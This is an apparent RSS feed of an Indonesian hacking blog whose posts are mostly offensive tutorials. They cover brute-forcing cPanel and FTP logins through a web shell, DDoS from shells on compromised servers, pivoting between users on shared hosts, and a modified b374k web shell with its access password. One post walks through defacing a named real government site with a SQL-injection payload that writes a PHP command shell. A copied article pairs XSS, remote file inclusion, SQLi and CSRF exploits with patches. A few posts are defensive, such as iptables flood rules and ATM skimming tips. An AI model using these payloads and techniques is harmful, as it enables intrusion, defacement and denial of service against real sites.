Hack Arsip | james0baster.web.id https://www.james0baster.web.id/category/computer/hack/ James Buster Tamba Blog Tue, 30 Aug 2016 12:54:24 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 Bruteforce dengan shell https://www.james0baster.web.id/2011/02/07/bruteforce-dengan-shell/ https://www.james0baster.web.id/2011/02/07/bruteforce-dengan-shell/#respond Mon, 07 Feb 2011 07:45:23 +0000 http://www.james0baster.web.id/v2/?p=260 sebetulnya teknik ini sama dengan postingan itu sama2 jumping buat ngebrote user dan password cpanel, ftp, ataupun whm oke langsung aja yah : 1. download shell yg ada di sini 2. masukan passwordnya biar bisa akses shellnya 3. klik menu BruteForce 4. isikan list password yg anda suka yg sering ane gunain Password List : […]

Posting Bruteforce dengan shell ditampilkan lebih awal di james0baster.web.id.

]]> shoot

sebetulnya teknik ini sama dengan postingan itu

sama2 jumping hore

buat ngebrote user dan password cpanel, ftp, ataupun whm

oke langsung aja yah pinter :

1. download shell yg ada di sini
2. masukan passwordnya biar bisa akses shellnya
tempat-password

3. klik menu BruteForce
4. isikan list password yg anda suka
yg sering ane gunain

Password List :

12345
123456
1234567
12345678
123456789
1234567890

nanti hasilnya kaya gini :

Hasilnya:

[ james0baster@james0baster.web.id ]# Seraaaanngg …
[ james0baster@james0baster.web.id ]# Serangan selesai , nihk username = wonder dan passwordnya = 12345
[ james0baster@james0baster.web.id ]# Serangan selesai , nihk username = pond dan passwordnya = 12345

coba login aja ke cpanelnya asik
174.120.9.58/cpanel
santai

Posting Bruteforce dengan shell ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2011/02/07/bruteforce-dengan-shell/feed/ 0 Tutorial Dos Attack untuk menjurus ke DDOS https://www.james0baster.web.id/2011/02/07/tutorial-dos-attack-untuk-menjurus-ke-ddos/ https://www.james0baster.web.id/2011/02/07/tutorial-dos-attack-untuk-menjurus-ke-ddos/#respond Mon, 07 Feb 2011 07:39:58 +0000 http://www.james0baster.web.id/v2/?p=257 kali ini ane mau buat tutor dos yah tau kan dos kalo belom tau bisa berkunjung ke http://id.wikipedia.org/wiki/Serangan_DoS oke langsung aja yah 😀 : 1. download shell yg ada di sini 2. masukan passwordnya biar bisa akses shellnya 3. klik menu DOS akan menampilkan form seperti berikut : 4. isi fild “host” fild “host” bisa […]

Posting Tutorial Dos Attack untuk menjurus ke DDOS ditampilkan lebih awal di james0baster.web.id.

]]> kali ini ane mau buat tutor dos
yah tau kan dos kalo belom tau bisa berkunjung ke
http://id.wikipedia.org/wiki/Serangan_DoS

oke langsung aja yah 😀 pinter :

1. download shell yg ada di sini
2. masukan passwordnya biar bisa akses shellnya

tempat-password

3. klik menu DOS
akan menampilkan form seperti berikut :
ddos

4. isi fild “host”
fild “host” bisa di isi dengan domain ataupun ip target

5. isi fild “Length (seconds)”
fild “Length (seconds)” di isi dengan 99999999999 atau sebanyak2nya ngakak

6. coba ping ke domain atau ip target
kalo belum rto berarti ga bisa di DOS seneng
coba serang dengan shell yg berada di server lain
jadi serangannya terdistribusi atau sering disebut DDOS maling
yah bisa sampe 10 shell lah buat liat perubahan yang pasti cihuy

Posting Tutorial Dos Attack untuk menjurus ke DDOS ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2011/02/07/tutorial-dos-attack-untuk-menjurus-ke-ddos/feed/ 0 Tutorial buat para jumper https://www.james0baster.web.id/2011/02/07/tutorial-buat-para-jumper/ https://www.james0baster.web.id/2011/02/07/tutorial-buat-para-jumper/#respond Mon, 07 Feb 2011 07:33:01 +0000 http://www.james0baster.web.id/v2/?p=251 inget pilem jumper yg suka lompat kalo ini teknik sama suka lompat ke user lain satu server oke mulai aja yah tutornya 😀 1. download shell yg ada di sini 2. masukan passwordnya biar bisa akses shellnya 3. klik menu readable akan menghasilkan hasil scanan user yg readable 4. copy salah satu list contoh : […]

Posting Tutorial buat para jumper ditampilkan lebih awal di james0baster.web.id.

]]> inget pilem jumper yg suka lompat hore

kalo ini teknik sama suka lompat hore ke user lain satu server

oke mulai aja yah tutornya 😀

1. download shell yg ada di sini
2. masukan passwordnya biar bisa akses shellnya
tempat-password

3. klik menu readable
akan menghasilkan hasil scanan user yg readable
read-public-html
4. copy salah satu list
contoh : /home/gracepcc/public_html

5. klik menu explore

6. pastekan readable user yg sudah kita copy ke View File/Folder

5. cari file konfigurasi koneksi ke database

6. login ke mysqlnya dengan mengklik menu

7. cari table user
ubah password user tersebut

8. cari tau domain user tersebut
ada beberapa cara :
liat file konfigurasi ke database
liat di dalam databse
atau bisa membuka domainygadashell.com/~user/
contoh: domainygadashell.com/~gracepcc/

9. login sebagai admin.
kalo mau tau tempat loginnya bisa liat di shell, kan bisa liat ftpnya dia hmm tapi ga bisa upload mewek

cara mengatasi upload maka uploadnya via halaman admin web tersebut asik pinter

jadih deh shell anda beranak pinak ngakak

Posting Tutorial buat para jumper ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2011/02/07/tutorial-buat-para-jumper/feed/ 0 Ngedit Script b374k https://www.james0baster.web.id/2011/02/01/ngedit-script-b374k/ https://www.james0baster.web.id/2011/02/01/ngedit-script-b374k/#respond Tue, 01 Feb 2011 09:10:15 +0000 http://www.james0baster.web.id/v2/?p=225 nih scriptnya copas ke notepad terus save dengan file tipe php 😀 (*yg udah tau pasti ) http://xjamesx.tk/404.txt ngedit b374k biar 4 in 1, ga perlu banyak3 upload cukup 1 file sudah mematikan, fitur yg ditambahkan = bruteforce, readable, DOS, dan pengunaan password untuk mengakses shell tersebut 😀 passwordnya = devilzc0de atau bisa ubah sendiri […]

Posting Ngedit Script b374k ditampilkan lebih awal di james0baster.web.id.

]]> nih scriptnya copas ke notepad terus save dengan file tipe php 😀 (*yg udah tau pasti hmm)
http://xjamesx.tk/404.txt

ngedit b374k biar 4 in 1, ga perlu banyak3 upload cukup 1 file sudah mematikan, fitur yg ditambahkan = bruteforce, readable, DOS,
dan pengunaan password untuk mengakses shell tersebut 😀

tempat-password

passwordnya = devilzc0de

read-public-html

atau bisa ubah sendiri password hashnya dalam bentuk md5 mantap

UPGRADE SCRIPT

http://xjamesx.tk/404.txt

ditambahkan DOS attack

ddos

NB Script di encode biar ukurannya jadi lebih kecil aja

kalo mau decode bisa make script php ini :

gzinflate(base64_decode($scripygdiencode))

Posting Ngedit Script b374k ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2011/02/01/ngedit-script-b374k/feed/ 0 POC buat ngedeface++ https://www.james0baster.web.id/2010/08/07/poc-buat-ngedeface/ https://www.james0baster.web.id/2010/08/07/poc-buat-ngedeface/#respond Sat, 07 Aug 2010 05:38:04 +0000 http://www.james0baster.web.id/v2/?p=164 Wah dah lama ga ngeblog kali ini gw mau share beberapa teknik2(POC) buat ngedeface . kalo yang sudah pada tau teknik2 ini jangan pada ngina yah maklum nubie mau coba bikin artikel :p yang sudah baca yah jangan lupa komen2nya yah itung2 belajar bareng 🙂 ok mulai aja deh ke tutor hal yg diperlukan : […]

Posting POC buat ngedeface++ ditampilkan lebih awal di james0baster.web.id.

]]> Wah dah lama ga ngeblog

kali ini gw mau share beberapa teknik2(POC) buat ngedeface .

kalo yang sudah pada tau teknik2 ini jangan pada ngina

yah maklum nubie mau coba bikin artikel :p

yang sudah baca yah jangan lupa komen2nya

yah itung2 belajar bareng 🙂

ok mulai aja deh ke tutor

hal yg diperlukan :

  1. berdoa
  2. siapin makanan ringan
  3. dan segelas kopi (java)
  4. koneksi internet + komputernya 🙂

nah kalo udah pada siap liangsung pergi ke om google untuk melakukan pencarian dengan dork :

kemudian pilih deh web target yang memiliki vulnerability 🙂

target : http://www.inacif.gob.gt/index.php?showPage=125&nwid=-7’+union+select+1,2,0x3C6120687265663D22687474703A2F2F6A616D6573306261737465722E7765622E6964223E6A616D6573306261737465723C2F613E,4,5,6,load_file(‘/etc/passwd’),8,9,10/*

ngedeface

setelah masuk ke website targget ubah url nya yg tadinya load_file(‘/etc/passwd’) menjadi

“<?php echo \'<pre>\’;system($_GET[\’cmd\’]);echo \'</pre>\’;?>”

dan diakhir url ditambahkan

+INTO+OUTFILE+”lokasi direktory(folder) yang permisionya 777/namashell.php”/*

real target : http://www.inacif.gob.gt/index.php?showPage=125&nwid=-7’+union+select+1,2,3,4,5,6,”<?php echo \'<pre>\’;system($_GET[\’cmd\’]);echo \'</pre>\’;?>”,8,9,10+INTO+OUTFILE+”/home/inacif/www/design/default/james0bastershell.php”/*


setelah berhasil membuat shell dari sql injection sebaiknya di coba terlebih dahulu apakah berhasil

atau tidak dengan menjalankan perintah ls -al pada cmd=

real target : http://www.inacif.gob.gt/design/default/james0bastershell.php?cmd=ls -al

shell sederhana

upload deh shell yg lebih familiar buat anda digunakan seperti saya b374k.php 😀 dengan perintah

download sebagai berikut :

upload

dan hasilnya sebagai berikut :

shell

bisa backconnect sama bind, lumayan buat DDOS atau apalah soalnya servernya ga make firewall.

kalo belom bisa ngeroot bisa pake teknik jumping karena di dalemnya ada 21 readable user directory

berikut hasil URL jumpingan dari http://www.inacif.gob.gt/ ke  http://www.cinde.com.gt/

URL : http://www.inacif.gob.gt/design/default/b374k.php?y=/home2/cinde/cinde-www/webcontrol/

dan berikut hasil defaceannya 😀

dan masih banyak lagi :p

sehubung banyak yg minta script scaner buat tuh web lewat YM oke ane berikan nih

http://www.inacif.gob.gt/design/default/james0basterscaner.php

scanerajib

NB : JANGAN RUSAK WEBNYA KALO MAU DIFACE JANGAN INDEXNYA, DEFACE HIDDEN AJA.

ITU BUAT BELAJAR BARENG2 JANGAN SERAKAH

Posting POC buat ngedeface++ ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2010/08/07/poc-buat-ngedeface/feed/ 0 Mencegah serangan Syn & Ping Flood Attack (DOS) https://www.james0baster.web.id/2010/08/07/mencegah-serangan-syn-ping-flood-attack-dos/ https://www.james0baster.web.id/2010/08/07/mencegah-serangan-syn-ping-flood-attack-dos/#respond Sat, 07 Aug 2010 02:46:29 +0000 http://www.james0baster.web.id/v2/?p=153 1. Mencegah paket Syn Flood Attack Buat sebuah file bernama closesyn.sh yang isinya sebagai berikut untuk mencegah serangan syn flood #!bin/sh #Menghapus semua Rule iptables -F iptables -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT #blok paket syn yang dicurigai jahat iptables -N synjahat iptables -A INPUT -p tcp –syn […]

Posting Mencegah serangan Syn & Ping Flood Attack (DOS) ditampilkan lebih awal di james0baster.web.id.

]]> 1. Mencegah paket Syn Flood Attack
Buat sebuah file bernama closesyn.sh yang isinya sebagai berikut untuk mencegah serangan syn flood

#!bin/sh
#Menghapus semua Rule
iptables -F
iptables -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
#blok paket syn yang dicurigai jahat
iptables -N synjahat
iptables -A INPUT -p tcp –syn -j synjahat
iptables -A synjahat -m limit –limit 1/s –limit-burst 3 -j ACCEPT
iptables -A synjahat -j DROP

kemudian jalankan di konsole/terminal

root@bt:~# sh closesyn.sh

2. Mencegah Ping Flood attack
Buat sebuah file bernama closeping.sh yang isinya sebagai berikut untuk mencegah serangan ping flood

#!bin/sh
#Menghapus semua Rule
iptables -F
iptables -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
#blok paket ping(icmp) yang dicurigai jahat
iptables -N pingjahat
iptables -A INPUT -p icmp -j pingjahat
iptables -A pingjahat -m limit –limit 1/s –limit-burst 2 -j ACCEPT
iptables -A pingjahat -j DROP

root@bt:~# sh closeping.sh

coba lakukan testing dengan perintah

root@bt:~#ping [target] -s 6500

Ok sekian dulu. Thank’s jika ada yang kurang jelas silahkan tanya 😀

This article was originally published in forum thread: Mencegah serangan Syn & Ping Flood Attack (DOS) started by bilanganbiner

Posting Mencegah serangan Syn & Ping Flood Attack (DOS) ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2010/08/07/mencegah-serangan-syn-ping-flood-attack-dos/feed/ 0 SQL Injection Flaw Patching https://www.james0baster.web.id/2010/02/24/sql-injection-flaw-patching/ https://www.james0baster.web.id/2010/02/24/sql-injection-flaw-patching/#respond Wed, 24 Feb 2010 06:35:51 +0000 http://www.james0baster.web.id/v2/?p=104 SQL Injection Flaw Patching diambil dari http://www.indonesianhacker.org/showthread.php?t=529 yang diposting oleh v4mp Jangan cuma bisa attack. Tapi juga harus bisa defend.  Langsung aja.. Ini patch untuk mencegah serangan SQL Injection di halaman dinamis pada PHP + MySQL. Biasanya halaman dinamis ini bentuknya kayak gini http://uhui.com/vuln.php?id=[Input_Angka] Bentuk umum kode di halaman dinamis php untuk membaca database melalui MySQL : PHP […]

Posting SQL Injection Flaw Patching ditampilkan lebih awal di james0baster.web.id.

]]> SQL Injection Flaw Patching diambil dari http://www.indonesianhacker.org/showthread.php?t=529 yang diposting oleh v4mp

Jangan cuma bisa attack. Tapi juga harus bisa defend. 

Langsung aja..

Ini patch untuk mencegah serangan SQL Injection di halaman dinamis pada PHP + MySQL.

Biasanya halaman dinamis ini
bentuknya kayak gini http://uhui.com/vuln.php?id=[Input_Angka]

Bentuk umum kode di halaman dinamis php untuk membaca database melalui MySQL :

PHP Code:
$id = htmlentities($_GET['id']);
$variabel = mysql_query("select *from tabeltarget where idtarget='$id'")

Injection Flaw terjadi karena inputnya gak kefilter dengan baik. Sehingga input ‘$id’ yang seharusnya diisi dengan (biasanya) angka bisa diisi dengan query SQL.. Yang mengakibatkan query SQL tersebut dieksekusi sehingga injector bisa melakukan berbagai hal misalnya membaca isi database, membaca suatu file di situs tersebut, dll.

Nah, untuk mencegah hal tersebut sebaiknya kita memfilter inputnya sebelum diproses dengan SQL.

Contoh kode filternya :

PHP Code:
error_reporting(0);
class filter{
function filtering($id){
$idfilter = mysql_real_escape_string($id);
if (!ctype_digit($idfilter))
{
echo "Can't process your request, dude :P ";
exit;
}
else if ($idfilter <= 0)
{
echo "Can't process your request, dude :P  ";
exit;
}
else
{
return $id;
}
}
}
$Filter2 = new filter();
$id = htmlentities($_GET['id']);
$secured = $Filter2->filtering($id);
$variabel = mysql_query("select *from tabeltarget where idtarget='$secured'")

Penjelasan :

Pertama-tama menggunakan error_reporting(0); . Kode tersebut digunakan untuk mendisable error reporting sehingga jika terjadi error tidak keluar pesan error.

Selanjutnya variabel $id disaring dulu menggunakan mysql_real_escape_string yang berfungsi untuk menambahkan slash (\) apabila ada tanda kutip pada input $id.

Setelah disaring dengan mysql_real_escape_string, disaring lagi dengan melakukan pengecekan apakah inputnya berupa angka atau bukan dengan menggunakan kode !ctype_digit . Jika ternyata bukan angka maka akan ditolak. Selain pengecekan input apakah angka atau bukan, dilakukan juga pengecekan apakah inputnya sama atau lebih kecil dari 0 (minus) jika iya maka akan ditolak.

Abis itu baru deh aplikasikan ke syntax SQL-nya.

Untuk lebih jelasnya silahkan baca ulang kode sebelum difilter dan setelah difilter berkali-kali sampai paham.

Posting SQL Injection Flaw Patching ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2010/02/24/sql-injection-flaw-patching/feed/ 0 Web Security Yin-Yang (Attacking & Defending) https://www.james0baster.web.id/2010/02/23/web-security-yin-yang-attacking-defending/ https://www.james0baster.web.id/2010/02/23/web-security-yin-yang-attacking-defending/#respond Tue, 23 Feb 2010 04:14:08 +0000 http://www.james0baster.web.id/v2/?p=98 WEB SECURITY YIN-YANG Ditulis oleh: gentoo “If you know both yourself and your enemy, you can win a hundred battles without a single loss.” Di berbagai segi kehidupan, sangatlah di butuhkan keseimbangan. Bahkan yang sangat terkenal adalah sebuah ungkapan dari Sun Tzu yang saya tuliskan diatas, mengenali kelemahan musuh adalah penting, tetapi lebih penting lagi […]

Posting Web Security Yin-Yang (Attacking & Defending) ditampilkan lebih awal di james0baster.web.id.

]]> Web Security Yin-YangWEB SECURITY YIN-YANG

Ditulis oleh: gentoo

“If you know both yourself and your enemy, you can win a hundred battles without a single loss.”

Di berbagai segi kehidupan, sangatlah di butuhkan keseimbangan. Bahkan yang sangat terkenal adalah sebuah ungkapan dari Sun Tzu yang saya tuliskan diatas, mengenali kelemahan musuh adalah penting, tetapi lebih penting lagi mengenali kelemahan diri sendiri, karena dengan begitu kita dapat seimbang dala, bertahan dan menyerang.  Saya harap artikel ini nantinya akan dapat menjadi referensi singkat yang membahas tentang menyerang dan bertahan dalam dunia keamanan web (web security), dan artikel ini diharapkan juga bisa menjadi titik mula bagi yang tertarik dengan keamanan web, sekaligus pembuka mata bagi para programmer web agar sedikit banyak mulai menaruh perhatian pada keamanan aplikasi yang meraka buat.  Artikel ini akan membahas beberapa jenis celah keamanan web yang umumnya selalu menjadi primadon dikalangan para pemerhati keamanan web, tetapi bahasan disini bukan mencakup detil tiap celah, tetapi lebih ke arah Proof-of-concept dari cara bertahan dan menyerang. Disajikan dengan menggunakan PHP sebagai bahasa pemrograman “dynamic”, HTML, serta mysql sebagai “database engine”.  Formatnya pun akan selalu sama, penyajian kode yang memiliki celah, cara memperkuatnya (bertahan) kemudian diikuti dengan bagaimana metode untuk mengexploitasinya. Jangan berharap artikel ini akan mengajarkan anda dari Nol, bagaimana membuat web, mengkode dengan PHP dan mysql, atau penjelasan detil (pengertian-panjang-lebar) tentang setiap celah.  Partisipasi aktif andalah yang akan menentukan apakah artikel ini akan bermanfaat buat anda nantinya

===// Yin-Yang \\===

====// XSS Reflected \\====
kode yang memiliki celah untuk di serang:


——–\\ sweet.php
PHP Code:

echo ‘Selamat Datang’ . $_GET[‘sweet’];

——–//
Adapun kode untuk melindungi adalah dengan menambahkan fungsi “strip_tags” atau “htmlspecialchars” untuk memeriksa variabel tersebut terlebih dahulu.
——–\\sweet-patch.php
PHP Code:

echo ‘Selamat Datang’ . strip_tags($_GET[‘sweet’]);

atau PHP Code:

echo ‘Selamat Datang’ . htmlspecialchars($_GET[‘sweet’]);

——–//


——// Eksploitasi \\——
Code:sweet.php?sweet=<script>alert(“XSS”)</script>

====// XSS Persistent \\====

kode yang memiliki celah untuk di serang:


——–\\ sweet.php
PHP Code:

$sweet  = trim($_POST[‘txtSweet’]);$sweet  = mysql_real_escape_string($sweet);$query  = “INSERT INTO sweet (sweet) VALUES (‘$sweet’);”;

——–//
Adapun fungsi yang digunakan untuk mengamankannya adalah “stripslashes”, “addslashes”, “htmlspecialchars”
——–\\sweet-patch.php
PHP Code:

$sweet = stripslashes($sweet);$sweet = mysql_real_escape_string($sweet);$sweet = htmlspecialchars($sweet);$query = “INSERT INTO sweet (sweet) VALUES (‘$sweet’);”;

——–//


——// Eksploitasi \\——
Code:

sweet.php?sweet=<SCRIPT SRC=http://dare.dev.il/evil.js?<B>Bedanya, xss exploit ini akan tersimpan ke database dan akan selalu di eksekusi setiap halaman sweet.php di load, selanjutnya tinggal keahlian anda berkreasi pada script evil.js


====// File Inclusion \\====

Kode yang memiliki celah untuk di serang:


——–\\berkas.php
PHP Code:

$file = $_GET[‘halaman’];

——–//

Adapun Untuk mengamankan berkas.php, cukup dengan mendefinisikan file yangingin kita include secara pasti.
——–\\berkas-patch.php
PHP Code:

$file = $_GET[‘halaman’];

// hanya mengijinkan sweet.phpif ( $file != “sweet.php” ) {echo “ERROR: File not found!”;exit;}

——–//

|——| Atau untuk melengkapinya, silahkan melakukan serring “Off” pada Directive| allow_url_fopen| allow_url_include| pada php.ini|——


——// Eksploitasi \\——

Code:berkas.php?halaman=http://dare.dev.il/evil.phpSelanjutnya tergantung keahlian anda berkreasi pada script evil.php, agar berbagai perintah dalam evil.php dapat tereksekusi, ada beberapa syarat lain yang harus dipenuhi, dan ini menjadi PR anda untuk mencari tahu.


====// SQL Injection \\====

SQL injection adalah salah satu teknik yang cukup tua untuk dibahas, celah ini pada web aplikasilah yang paling banyak memberikan andil kepada terkuasainya banyak webserver. Celah ini bisa saya bilang multiplatform karena bisa Database dapat berpasangan dengan bahasa permrograman apapun dan berjalan di sistem-operasi apapun.
Untuk teknik ini saya tidak ingin panjang lebar, tetapi khusus untuk celah lawas ini, kode yang akan saya berikan lengkap, dan bagi para pencinta “salin & tempel” akan dengan mudah dapat mengapliaksikannya, hmm sepertinya tidak juga, karena setidaknya kamu harus paham database, membuat tabel dan mengkoneksikannyadengan php
Ok, berikut adalah kode yang telah memiliki tempat sendiri dalam sejarah keamanan aplikasi web 😆


——–//vulnlogin.php

PHP Code:

<table><form name=”member” method=”post” action=”#”><tr><td colspan=”2″><b>Member Login</b></tr><tr><td>Username</td><td><input type=”text” name=”username” value=”” size=”40″></tr><tr><td>Password</td><td><input type=”password” name=”password” value=”” size=”40″></tr>
<tr><td colspan=”2″><input type=”submit” name=”submit” value=”Submit”><input type=”reset” name=”reset” value=”Reset”></td></form></table>
<?phpinclude ‘config.php’; // ini adalah konfigurasi koneksi aplikasi ke database,ga bisa buat? 😆
$username = $_POST[‘username’];$password = $_POST[‘password’];
$q = “SELECT username, password FROM member WHERE username = ‘$username’ AND \password = ‘$password’ “;
$r = mysql_query($q);if (!$r) {print mysql_error();} else {$row = mysql_fetch_row($r);if (($row[0] != “”) && ($row[1] != “”)) {echo “&nbsp;&nbsp;<a href=somerandompagesnameforyou.php>Yeah, you are in!</a>”;} else {echo”<pre> &nbsp;&nbsp;You need to register as a member to login! </pre>”;}}
?>


——–//

dan untuk mengamankannya adalah dengan melakukan filtering pada keduavariabel “username” dan “password”
PHP Code:$username = stripslashes($username);$username = mysql_escape_string($username);$password = stripslashes($password);$password = mysql_real_escape_string($password);|—-| Untuk memperkuatnya, seandainya ada yang terlewat, melakukan setting| “On” untuk| magic_quotes_gpc| pada setting PHP.ini|—-


——// Eksploitasi \\——

Masukkan ‘or ‘1=1” (l33t) pada input box username/password untuk membypasslogin, sehingga rikues akan jadi seperti ini
|—-|
PHP Code:SELECT username, password FROM member WHERE username = ”or’1=1”’ AND password = ”or’1=1”’|—
Selanjutnya, anda simpulkan sendiri


===// Cross Site Requesr Forgery \\===

Kode berikut adalah mempertunjukkan sebuah halaman ganti password untuk admin, yang tidak melakukan pemeriksaan password saat ini, sehingga memungkinkan celah CSRF digunakan.


——–\\ganti.php

PHP Code:

<?php
if (isset($_GET[‘ganti’])) {$pwd_baru = $_GET[‘pwd_baru’];$pwd_baru2 = $_GET[‘pwd_baru2’];
if (($pwd_baru == $pwd_baru2)){$pwd_baru = mysql_real_escape_string($pwd_baru);$pwd_baru = md5($pwd_baru);
$insert=”UPDATE `users` SET pwd = ‘$pwd_baru’ WHERE user = ‘admin’;”;$result=mysql_query($insert) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
echo “<pre>Password Admin Berubah </pre>”;mysql_close();}else{echo “<pre> Password tidak cocok. </pre>”;}
}?>

——–//
Adapun untuk memperbaikinya adalah, dengan melakukan pemeriksaan password saat ini terlebih dahulu sebelum merubah password


——–\\ganti-patch.php

PHP Code:

<?php
if (isset($_GET[‘ganti’])) {$pwd = $_GET[‘pwd’];$pwd_baru = $_GET[‘pwd_baru’];$pwd_baru2 = $_GET[‘pwd_baru2′];
$pwd = stripslashes( $pwd );$pwd = mysql_real_escape_string( $pwd );$pwd = md5( $pwd );
// Periksa password saat ini (pwd)$qry = “SELECT pwd FROM `users` WHERE user=’admin’ AND pwd=’$pwd’;”;$result = mysql_query($qry) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
if (($pwd_baru == $pwd_baru2) && ( $result && mysql_num_rows( $result ) == 1 )){$pwd_baru = mysql_real_escape_string($pwd_baru);$pass_new = md5($pwd_baru);
$insert=”UPDATE `users` SET pwd = ‘$pwd_baru’ WHERE user = ‘admin’;”;$result=mysql_query($insert) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
echo “<pre> Password Admin Berubah </pre>”;mysql_close();}
else{echo “<pre> Passwords Baru tidak cocok atau password lama anda salah. </pre>”;}
}?>

———//


——// Eksploitasi \\——

Adapun cara eksploitasinya adalah melibatkan kelalaian sang admin, umumnya attacker akan mengirim link tersbut ke email, atau melalui forum dsb dengan harapan sang admin akan meng-click-nya.
Code:<a href=http://nice.ang.el/ganti.php?pwd=&pwd_baru=dudul&pwd_baru2=dudul&ganti=ganti#>klik saya</a>

===// Penutup \\===

Oke, saya harap anda semua yang membaca akan pusing, dan disinilah orang-orang terpilih akan mengikis pembaca lainnya, yup, dengan cepat anda akan segera mencoba dan mencari tahu apa yang saya tulis disini, google! sejak awal di luncurkan adalah referensi terbaik.
Pelajari berbagai fungsi-fungsi yang saya singgung diatas, secara pelan dan jangan terburu-buru , selebihnya selamat datang di dunia web aplikasi yang ‘penuh dengan intrik-intrik, dan semoga sedikit dari saya dapat bermanfaat untuk semua. Logika anda sangat di perlukan disini!


===// Reference \\===

[1].google.inc, http://google.com

[2].OWASP, “The Open Web Application Security Project”, http://owasp.org

[3].semua web aplikasi yang telah saya lihat kode php-nya

Copas dari http://ezine.echo.or.id/ezine21/e21_005.txt
dan diambil dari sumber .
Semoga bermanfaat.

Posting Web Security Yin-Yang (Attacking & Defending) ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2010/02/23/web-security-yin-yang-attacking-defending/feed/ 0 Manifesto Seorang Hacker https://www.james0baster.web.id/2010/02/09/manifesto-seorang-hacker/ https://www.james0baster.web.id/2010/02/09/manifesto-seorang-hacker/#respond Tue, 09 Feb 2010 08:55:08 +0000 http://www.james0baster.web.id/v2/?p=80 Manifesto Seorang Hacker: Ini adalah dunia kami sekarang, dunianya electron dan switch, keindahan sebuah baut. Kami mendayagunakan sebuah system yang telah ada tanpa membayar, yang bisa jadi biaya tersebut sangatlah murah jika tidak dijalankan dengan nafsu tamak mencari keuntungan, dan kalian sebut kami criminal. Kami menjelajah, dan kalian sebut kami criminal. Kami mengejar pengetahuan, dan […]

Posting Manifesto Seorang Hacker ditampilkan lebih awal di james0baster.web.id.

]]> Manifesto Seorang HackerManifesto Seorang Hacker: Ini adalah dunia kami sekarang, dunianya electron dan switch, keindahan sebuah baut.

Kami mendayagunakan sebuah system yang telah ada tanpa membayar, yang bisa jadi biaya tersebut sangatlah murah jika tidak dijalankan dengan nafsu tamak mencari keuntungan, dan kalian sebut kami criminal.
Kami menjelajah, dan kalian sebut kami criminal.
Kami mengejar pengetahuan, dan kalian sebut kami criminal.
Kami hadir tanpa perbedaan warna kulit, kebangsaan ataupun prasangka keagamaan, dan kalian sebut kami criminal.
Kalian membuat bom atom, kalian menggelar peperangan, kalian membunuh, kalian berlaku curang, membohongi kami dan mencoba meyakinkan kami bahwa semua itu demi kebaikan kami, tetap saja kami yang disebut criminal.
Ya, aku memang seorang criminal.
Kejahatanku adalah rasa keingintahuanku.
Kejahatanku adalah karena menilai orang lain dari apa yang mereka katakana dan pikirkan, bukan pada penampilan mereka.
Kejahatanku adalah menjadi lebih pintar dari kalian, sesuatu yang tak akan kalian maafkan.
Aku memang seorang hacker, dan inilah manifesto saya.
Kalian bisa saja menghentikanku, tetapi kalian tak mungkin menghentikan kami semua.
Bagaimanapun juga, kami semua senasib seperjuangan.

Posting Manifesto Seorang Hacker ditampilkan lebih awal di james0baster.web.id.

]]> https://www.james0baster.web.id/2010/02/09/manifesto-seorang-hacker/feed/ 0 Kasus Pembobolan Mesin ATM (Teknologi Skimmer) https://www.james0baster.web.id/2010/02/02/kasus-pembobolan-mesin-atm-teknologi-skimmer/ https://www.james0baster.web.id/2010/02/02/kasus-pembobolan-mesin-atm-teknologi-skimmer/#respond Tue, 02 Feb 2010 08:08:58 +0000 http://www.james0baster.web.id/v2/?p=30 sekarang lagi heboh hebonya tentang pembobolan Mesin ATM. sekedar berkeliling mencari informasi tentang pembobolan tersebut, ternyata di dunia maya(internet) memiliki banyak informasi tentang hal tersebut berikut akan saya tunjukan hasil hasil penyelusuran saya di internet. walah sebelumnya saya beritahu terlebih dahulu bahwa mesin skimmer terjual bebas di internet , gimana tidak maraknya pembobolan kalo alatnya […]

Posting Kasus Pembobolan Mesin ATM (Teknologi Skimmer) ditampilkan lebih awal di james0baster.web.id.

]]> sekarang lagi heboh hebonya tentang pembobolan Mesin ATM. sekedar berkeliling mencari informasi tentang pembobolan tersebut, ternyata di dunia maya(internet) memiliki banyak informasi tentang hal tersebut berikut akan saya tunjukan hasil hasil penyelusuran saya di internet.

walah sebelumnya saya beritahu terlebih dahulu bahwa mesin skimmer terjual bebas di internet , gimana tidak maraknya pembobolan kalo alatnya aja sudah terjual bebas http://www.indoforum.org/showthread.php?p=1601861

penjelasan pemakaian alat tersebut pun sudah tersebar di internet melalui video yang terdapat di youtube http://www.youtube.com/watch?v=m3qK46L2b_c&feature=related dan http://www.youtube.com/watch?v=tS80yLWdOhA

setelah membaca baca saya mempunyai saran/tips untuk pengambilan uang di ATM.

1.Lihat ke sekeliling ruang ATM, mungkin ada hal2 yg mencurigakan seperti kamera tersembunyi (tentunya bukan kamera ATM itu sendiri). Kamera ATM selalunya dipasang diatas bagian belakang/agak nyamping mesin ATM. Ini berfungsi untuk mengcapture wajah pengguna ATM. Kalau ada Kamera yg posisinya berbeda kita harus lebih hati2 jgn2 itu merupakan kamera untuk melihat pergerakan jari kita untuk menekan Pin ATM

2.Setelah melakukan transaksi ATM (kartu ATM sudah keluar), biasakannya memasukkan kembali kartu anda ke dalam mesin ATM.  Kemudian masukkan pin yg acak (salah) dan tekan cancel. Lakukan 2 – 3 kali untuk lebih amannya. Teknologi yg dipakai untuk pencurian  Identitas (nomor pin) biasanya hanya merekam transaksi terakhir dari mesin ATM termasuk memasukkan nomor pin.  So, karena pada transaksi terakhir kita memasukkan nomor pin yg salah, otomatis kartu ATM kita nggak bisa di hacked.

